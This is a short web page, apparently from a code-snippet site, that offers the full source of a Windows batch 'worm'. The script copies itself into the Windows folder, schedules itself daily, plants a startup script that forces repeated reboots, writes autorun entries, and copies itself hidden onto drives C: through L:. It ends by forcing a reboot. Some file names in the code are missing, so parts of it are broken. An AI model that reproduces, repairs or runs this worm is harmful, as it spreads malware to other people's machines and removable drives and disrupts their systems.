SoFunction
Updated on 2025-04-09

Batch worm bat


@echo off 
attrib -r -h -s "%~nx0" 2>nul >nul 
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul 
copy "%~nx0" %windir% /y 2>nul >nul 
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0" 
echo reboot>%windir%\ 
set pat="Start" menu\Program\Start
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\ 
echo echo reboot^>^>%%windir%%\>>"%ALLUSERSPROFILE%\%pat%"\ 
echo find /c "reboot" %%windir%%\^|find "11">>"%ALLUSERSPROFILE%\%pat%"\ 
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\ 
echo del %%windir%%\ /f /q>>"%ALLUSERSPROFILE%\%pat%"\ 
echo del %%windir%%\ /f /q>>"%ALLUSERSPROFILE%\%pat%"\ 
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\ 
echo exit>>"%ALLUSERSPROFILE%\%pat%"\ 
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\ 
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\ 
echo exit>>"%ALLUSERSPROFILE%\%pat%"\ 
echo [autorun]>%windir%\ 
echo shellexecute=%~nx0>>%windir%\ 
set disk=C:>nul 2>nul 
:auto 
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul 
copy %windir%\ %disk%\ /y 2>nul >nul 
attrib +s +h +r %disk%\%~nx0 2>nul >nul 
attrib +s +h +r %disk%\ 2>nul >nul 
cls 
goto %disk%>nul 2>nul 
:C: 
set disk=D:>nul 2>nul 
goto auto>nul 2>nul 
: D:
set disk=E:>nul 2>nul 
goto auto>nul 2>nul 
:E: 
set disk=F:>nul 2>nul 
goto auto>nul 2>nul 
:F: 
set disk=G:>nul 2>nul 
goto auto>nul 2>nul 
:G: 
set disk=H:>nul 2>nul 
goto auto>nul 2>nul 
:H: 
set disk=I:>nul 2>nul 
goto auto>nul 2>nul 
:I: 
set disk=J:>nul 2>nul 
goto auto>nul 2>nul 
:J: 
set disk=K:>nul 2>nul 
goto auto>nul 2>nul 
:K: 
set disk=L:>nul 2>nul 
goto auto>nul 2>nul 
: L:
cls 
attrib +s +h +r %windir%\%~nx0 2>nul >nul 
shutdown /r /t 0 /f 
exit